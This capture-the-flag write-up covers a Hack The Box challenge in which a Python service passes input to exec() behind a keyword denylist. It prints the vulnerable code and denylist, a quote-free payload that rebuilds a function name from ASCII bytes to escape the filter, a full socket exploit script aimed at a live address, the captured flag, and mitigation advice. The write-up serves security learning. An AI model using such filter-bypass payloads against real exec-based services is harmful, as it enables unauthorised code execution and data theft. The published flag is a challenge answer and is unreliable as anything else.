//Locked Away
Challenge name: Locked Away
Remote: nc 94.237.56.254 58921
Flag format: HTB{...}
>Summary
This challenge presents a Python-based interactive service that reads user input and executes it with exec(). A blacklist of substrings is used to try to prevent abuse. The goal is to retrieve the flag printed by a helper function open_chest() that reads flag.txt.
I bypassed the blacklist by reconstructing the string name open_chest from its ASCII byte values using bytes(...) and then retrieving the function object from globals() without using any blacklisted tokens (no open, flag, quotes, square brackets, etc.).
>Files in the challenge
-
main.py— server script (examined locally) -
flag.txt— contains the flag when read locally -
Dockerfile,build_docker.sh— not necessary for solving
>Vulnerable code (excerpt)
The key part of main.py is below. It defines open_chest() and then executes input via exec() only after checking a blacklist:
banner = r'''...'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', "'", 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
The vulnerability is exec(command) combined with an incomplete denylist (blacklist). The blacklist blocks several dangerous keywords and characters but doesn't prevent every way of referencing functions/objects.
>Approach and reasoning
-
The direct approach of typing
open_chest()oropen('flag.txt')is blocked due to substrings likeopen,flag, quotes and square brackets. -
Since
open_chestis already defined in the program's global scope, we can access it viaglobals()without typing its name directly as a string with quotes. -
We still need to specify the name
open_chest. The blacklist blocks single or double quotes and square brackets, so we cannot write'open_chest'or use['open_chest']. -
Instead, reconstruct the name from its ASCII bytes using
bytes((111,112,101,110,95,99,104,101,115,116)).decode()which creates the stringopen_chestwithout using quotes. Then useglobals().get(...)to grab the function object. -
Call the function only if it's callable (to avoid raising errors), e.g.
f=globals().get(...); callable(f) and f()— this is a short, single-line payload suitable forexec().
This avoids the blacklist tokens and calls the function to print the flag.
>Payload used
Single-line payload sent to the service (no blacklisted tokens used):
f=globals().get(bytes((111,112,101,110,95,99,104,101,115,116)).decode()); callable(f) and f()
Explanation:
-
bytes((111,112,...))creates a bytes object from ASCII codes. The sequence corresponds toopen_chest. -
.decode()converts bytes to the stringopen_chestwithout using quotes. -
globals().get(name)returns the object referenced by that name if present in globals. -
callable(f) and f()calls the function only if it's callable. This avoids exceptions iffis None.
>Exploit script
I added an automated exploit script 001_exploit.py that connects to the remote service, sends the payload, and prints the response. The script uses non-blocking socket I/O and select to avoid read timeouts and prints progress in the terminal.
Full script (001_exploit.py):
#!/usr/bin/env python3
"""
001_exploit.py
Connect to the remote Locked Away service and send a payload that calls
open_chest() without using any blacklisted substrings.
This script shows live progress in the terminal with simple separators and emojis.
"""
import socket
import sys
import time
import select
HOST = '94.237.56.254'
PORT = 58921
PAYLOAD_LINES = [
# Safer single-line payload: get the function object by name and call it only if callable.
# Uses bytes(...) to reconstruct the name 'open_chest' without quotes or brackets.
"f=globals().get(bytes((111,112,101,110,95,99,104,101,115,116)).decode()); callable(f) and f()",
]
SEP = "\n" + "=" * 60 + "\n"
def hexdump_prefix(msg):
return f"🔍 {msg}"
def main():
print(SEP)
print(hexdump_prefix("Connecting to remote service"))
print(SEP)
s = socket.create_connection((HOST, PORT), timeout=10)
# Use raw socket recv/send and select for robust non-blocking IO
s.setblocking(False)
try:
# Read initial banner/prompt until we see the input prompt
buf = ''
found_prompt = False
start = time.time()
while True:
ready = select.select([s], [], [], 1)[0]
if not ready:
# timeout waiting for data
if time.time() - start > 10:
break
continue
data = s.recv(4096)
if not data:
break
text = data.decode('utf-8', errors='ignore')
buf += text
for line in text.splitlines(True):
print(line.rstrip())
if 'The chest lies waiting...' in line:
found_prompt = True
break
if found_prompt:
break
print(SEP)
print(hexdump_prefix("Sending payload (safe payload, avoids blacklist)"))
print(SEP)
for L in PAYLOAD_LINES:
print(f"➡️ Sending: {L}")
s.sendall((L + '\n').encode())
# small delay so remote processes lines visibly
time.sleep(0.12)
# After sending payload, read until we see HTB{...} or timeout
flag = None
start = time.time()
buffer_acc = ''
while True:
ready = select.select([s], [], [], 1)[0]
if ready:
data = s.recv(4096)
if not data:
break
text = data.decode('utf-8', errors='ignore')
buffer_acc += text
for line in text.splitlines(True):
print(line.rstrip())
if 'HTB{' in line:
# extract flag-like substring
idx = line.find('HTB{')
if idx != -1:
flag_part = line[idx:]
# trim newline
flag = flag_part.strip()
break
if flag:
break
if time.time() - start > 20:
break
print(SEP)
if flag:
print(f"🏁 Flag found: {flag}")
else:
print("⚠️ Flag not found in output. Try increasing timeout or inspect interaction manually.")
print(SEP)
finally:
try:
s.close()
except Exception:
pass
if __name__ == '__main__':
main()
>Results
Running the exploit retrieved the flag:
HTB{bYp4sSeD_tH3_fIlT3r5?_aLw4Ys_b3_c4RefUL!_b80696bcf909b08aada7bbae8f4b6b2b}
>Lessons and mitigations
-
Denylists are brittle. It's easy to bypass a blacklist by constructing strings or using other language features.
-
Prefer allowlists (whitelists) that only permit a small, parsed subset of operations, or sandbox execution using restricted interpreters or separate processes with constrained privileges.
-
If you must execute dynamic code, use secure parsing, AST inspection, or run the code in a heavily confined environment (e.g., very restricted container, seccomp, or with no file access).
>Additional notes
-
The local
flag.txtin the distributed zip wasHTB{f4k3_fLaG_f0r_t3sTiNg}; the remote service returned the real flag shown above. -
I created
001_exploit.pyand002_README.mdin the workspace for reproducibility.